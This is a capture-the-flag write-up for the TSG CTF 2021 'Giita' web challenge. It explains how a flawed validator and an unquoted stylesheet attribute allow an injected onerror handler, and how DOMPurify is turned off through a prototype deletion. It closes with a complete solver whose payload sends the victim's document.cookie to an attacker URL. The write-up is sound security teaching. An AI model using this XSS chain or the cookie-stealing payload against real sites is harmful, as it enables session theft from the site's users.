# TSG CTF 2021 Giita Writeup ## Challenge Summary ![](https://i.imgur.com/iAak14c.png) You can create blog post. It is accepting an arbitrary HTML, but it is correctly escaped and sanitized by DOMPurify. ```javascript= const body = document.getElementById('body'); body.innerHTML = DOMPurify.sanitize(body.textContent); hljs.highlightAll(); ``` The goal is to obtain the cookie of admin. ## Solution There are two bugs in this app. ### theme validation The theme parameter is validated by `validateFilename` function. It seems to be filtering all characters except whitespaces or alphanumeric characters, but a dumb logical error exists and it accepts one invalid character in the argument. ```javascript= private validateFilename(input: string) { let isInvalid = false; for (const char of Array.from(input)) { if (!char.match(/[\w\s.]/)) { if (isInvalid) { return false; } isInvalid = true; } } return true; } public async POST() { const theme = this.getParam('theme'); // omitted if (!theme || !title || !body || !this.validateFilename(theme)) { this.response.status_code = 400; this.response.body = 'Bad Request'; return this.response; } // omitted } ``` ### theme parameter Mis-quoting The `theme` parameter goes to HTML template and injected into stylesheet link. There should be quotation around it, but it is missing. ```htmlembedded= <% if (it.theme) { %> <link rel="stylesheet" href=<%= it.theme %>> <% } %> ``` ### Attack With these restrictions, you can inject an arbitrary attribute into link element, but only once. Like this: ```htmlembedded= <!-- theme=x%20onerror%3Dalert --> <link rel="stylesheet" href=x onerror=alert> ``` So, what we should do here is to write JavaScript code with only alphanumeric characters... But it is really helpless. We have to cheat DOMPurify. Find that [DOMPurify skips purification](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L1193-L1208) when it is in unsupported environment (why?). DOMPurify checks whether it is supported environment by `DOMPurify.isSupported` property. It is detected by [checking several properties in DOM](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L156-L160). By taking a look at it, you can abuse it by turning `implementation.createHTMLDocument = undefined`. You can use prototype pollution to access this inner property. The final payload script will be like the following. ```javascript= delete document.implementation.__proto__.createHTMLDocument ``` Finally, U+00A0 (NBSP) is not included in [HTML whitespace](https://infra.spec.whatwg.org/#ascii-whitespace), but included in [JavaScript whitespace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#white_space). So the final solver will be like this. ```javascript= axios({ method: 'post', url: `https://${host}:${port}/`, headers: { 'content-type': 'application/x-www-form-urlencoded', }, data: qs.encode({ theme: 'x onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ', title: 'x', body: `<img src="x" onerror="location.href = '${url}?' + document.cookie">`, }), }); ```